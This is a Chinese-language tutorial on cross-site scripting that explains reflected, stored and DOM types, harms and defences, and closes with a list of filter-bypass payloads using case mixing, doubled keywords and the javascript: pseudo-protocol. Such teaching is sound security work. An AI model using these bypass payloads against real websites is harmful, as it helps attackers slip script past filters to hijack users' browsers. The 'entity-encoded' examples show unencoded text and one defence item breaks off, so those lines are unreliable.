概念
XSS 被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS 可以非常灵活的操作html、css和浏览器。 XSS 通过将精心构造的代码(JS)注入到网页中,并由浏览器解释运行这段JS 代码,以达到恶意攻击的效果。当用户访问被XSS 脚本注入的网页,XSS 脚本就会被提取出来。用户浏览器就会解析这段XSS 代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有javascript解释器,可以解析javascript,然而浏览器不会判断代码是否恶意。 微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS 代码,都存在遭受XSS 的风险,只要没有对用户的输入进行严格过滤,就会被XSS 。
XSS漏洞类型
反射型XSS
反射型XSS攻击并不保存恶意代码在目标网站上,而是通过诱使用户点击一个包含恶意链接的URL来实施攻击。当用户点击该链接后,恶意代码将被注入到目标网站的响应中,并由浏览器解析执行。
存储型XSS
存储型XSS攻击将恶意代码存储到目标网站的数据库中。当其他用户访问包含存储型XSS漏洞的页面时,恶意代码会从数据库中提取并插入到页面中,导致其在受害者浏览器中执行。
DOM型XSS
DOM型XSS攻击通过修改网页的DOM节点来实现。与反射型XSS类似,DOM型XSS攻击不涉及将恶意代码存储到服务器上,而是通过修改客户端的JavaScript代码来实现攻击。恶意代码会被浏览器解析执行,并在页面中显示出来。
XSS的危害
XSS攻击可能导致以下危害:
- 盗取用户的敏感信息,如Cookie。
- 篡改网页内容,欺骗用户或操纵网站功能。
- 重定向用户到恶意网站。
- 执行恶意代码,控制用户浏览器执行任意操作。
- 传播XSS蠕虫,通过感染其他用户传播恶意代码。
XSS漏洞的利用与挖掘
攻击者可以利用各种方式来利用和挖掘XSS漏洞。以下是一些常见的例子:
- 在搜索框等用户输入的地方插入特殊数据,然后查看页面源代码,寻找是否存在未过滤的用户输入。
- 尝试插入恶意代码,如
<script>alert(1)</script>
或<img src=x onerror=prompt(1);>
,并检查是否能触发XSS漏洞。 - 利用一些已知的XSS平台或工具进行漏洞挖掘和利用。
防御XSS攻击
为了防止XSS攻击,开发者需要采取一些防御措施来保护网站和用户的安全。
- 输入过滤和验证:对用户输入进行严格过滤和验证,确保只接受预期的数据格式和类型。
- 输出编码:在将用户输入插入到网页中时,使用适当的编码函数对特殊字符进行转义,以防止其被解析为恶意代码。
- 使用CSP(内容安全策略):通过CSP设置响应头,限制浏览器可以加载和执行的资源,从而减少XSS攻击的风险。
- 限制权限:将用户输入视为不可信任的数据,避免直接将其作为代码执行或存储。
- 更新软件和框架:定期更新和升级使用的软件和框架,以修复已知的
部分绕过方法
关键字被过滤的情况
<svg>
<svg onload="alert(1)">
大小写绕过
<ImG sRc=1 onerRor=alert(1);>
<SvG OnlOad="alert(1)">
双写关键字(有限制)
<imimgg srsrcc=x onerror=alert("xss");>
Javascript伪协议的使用
<table background="javascript:alert(1)"></table>
javascript伪协议绕过
"><a href='javascript:alert(1)'>
事件或javascript伪协议大小写绕过
"><a Href='javascript:alert(1)'>
" Onclick="alert(1)
javascript伪协议双写绕过
"><a hhrefref='javasscriptcript:alert(1)'>
javascript伪协议实体编码绕过
十进制实体编码:javascript:alert(1)
十六进制实体编码:javascript:alert(1)